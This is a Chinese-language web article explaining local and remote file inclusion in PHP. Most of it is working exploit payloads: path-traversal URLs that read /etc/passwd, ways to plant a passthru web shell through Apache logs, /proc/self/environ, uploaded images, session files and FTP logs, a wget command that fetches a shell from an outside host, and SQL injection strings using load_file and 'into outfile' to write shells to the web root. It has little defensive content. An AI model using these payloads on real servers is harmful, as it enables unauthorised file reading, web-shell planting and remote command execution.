web滲透安全之文件包含講解,從PHP代碼層面來剖析該漏洞的原理

編程語言 PHP Apache Linux 白帽子講安全 白帽子講安全 2017-10-31

1、文件包含利用

通過傳遞本地或者遠程的文件(allow_url_fopen開啟)作為參數進行利用,可以讀取敏感信息、執行命令、GetWebshell.

例如

require($file);

Include($file);

Exploit:

//www.XXX.net/?file=/etc/passwd

Type of call:

require(“includes/”.$file);

Exploit:

//www.XXX.net/?file=../../../../../etc/passwd

Tpye of calls:

require(“languages/”.$lang.”.php”);

require(“themes/”.$theme.”/config.php”);

Exploit:

//www.XXX.net/?file=../../../../../etc/passwd%00

Type of call:

require(“languages/”.$_COOKIE['lang'].”.php”);

Exploit:

javascript:document.cookie = “lan=../../../../../etc/passwd%00″;

2、包含命令執行

當能夠把這句代碼<? passthru($_GET[cmd]) ?> 上傳到服務器,然後利用文件包含就可以。

利用方式1:將內容插入apache日誌裡面。

請求不存在的頁面://www.XXX.net/xxxxxxx=<? passthru($_GET[cmd]) ?>

然後按照前面的方式請求:

//www.XXX.net/?file=../../../var/apache/error_log&cmd=ls /etc

//www.XXX.net/?file=../../../var/apache/error_log&cmd=uname -a

如果不知道apache地址,可以利用包含已有的文件報錯來爆出當前位置,當然這個也得依靠不同的操作系統,apache默認地址不一樣。

另外可以通過枚舉進程表來定位apache日誌路徑。/proc/{PID}/fd/{FD_ID}

代碼(略)

pepelux:~$ perl proc.pl //www.XXX.net/index.php page GET

Apache PID: 4191

FD_SIZE: 64

FD: 2

得到PID 和 FD_ID後就可以這麼構造。

//www.XXX.net/?file=/proc/4191/fd/2&cmd=uname -a

//www.XXX.net/index.php?x=<? passthru($_GET[cmd]) ?>

如果不成功,把<?轉為16進制。

不行的話還可以把段字符放在header字段裡面,比如說User-Agent、Referer

利用方式2:通過環境變量進行插入

/proc/self 指向最後一個PID使用的鏈接。

/proc/self/environ 是一個已知的路徑,但是一般用戶沒權限讀取。

在linux系統中,/proc/self是因為是個能寫的環境變量,而且位置是固定的。

利用的話先把利用代碼放在User-Agent進行提交,

然後請求://www.XXX.net/?file=../../../proc/self/environ&cmd=uname -a

沒看懂,一般權限應該不行。

利用方式3:將代碼插入到圖片中

講一句話添加到圖片中,然後上傳直接利用。

//www.XXX.net/?file=path/avatar.gif&cmd=uname -a

利用方式4:將代碼插入到session文件中

如果是通過session驗證的,並且知道session的字段。

//www.XXX.net/?user=<? passthru($_GET[cmd]) ?>

找session值(瀏覽器)和文件位置(一般/tmp/session值)。

然後直接包含。

利用方式5: 其他文件

其他日誌,FTP的話提交用戶名為<? passthru($_GET[cmd]) ?>

服務器版本較老的話,可以利用PUT方式提交代碼。

web滲透安全之文件包含講解,從PHP代碼層面來剖析該漏洞的原理

獲取shell:

//www.XXX.net/?file=xxxx&cmd=wget //devil/shell.txt -O shell.php

3、注入與文件包含

方式1:注入讀取關鍵文件

//www.XXX.net/?id=-1 UNION SELECT 1,2,3,load_file(&lsquo;/etc/passwd&rsquo;);

magic_quotes開啟的話

//www.XXX.net/?id=-1 UNION SELECT 1,2,3,load_file(0x2f6574632f706173737764);

方式2:先導出然後讀取

//www.XXX.net/?id=1 outfile &ldquo;/tmp/sql.txt&rdquo;

//www.XXX.net/?id=-1 UNION SELECT 1,2,3,load_file(&lsquo;/tmp/sql.txt&rsquo;);

方式3:直接生成一句話

web滲透安全之文件包含講解,從PHP代碼層面來剖析該漏洞的原理

//www.XXX.net/?id=-1 union select 1,load_file(&ldquo;/etc/passwd&rdquo;),1 into outfile &ldquo;/var/www/host.com/www/passwd&rdquo;

//www.XXX.net/?id=-1 union select 1,&rdquo;<?phpinfo()?>&rdquo;,1 into outfile &ldquo;/var/www/host.com/www/phpinfo.php&rdquo;

如果目錄不能寫,可以先導出到tmp

//host/?id=-1 union select 1,&rdquo;<? passthru($_GET[cmd]) ?>&rdquo;,1,1 into outfile &ldquo;/tmp/sql.txt&rdquo;

//host/?file=../../../tmp/sql.txt&cmd=uname -a

web滲透安全之文件包含講解,從PHP代碼層面來剖析該漏洞的原理

補充說明:

1) php5.3.4以後已經修復了%00漏洞。

2) 參考文件中有幾個perl寫的小工具幫助利用。

3)LFI配合phpinfo獲取shell,參見LFI With PHPInfo Assistance.pdf

相關推薦

推薦中...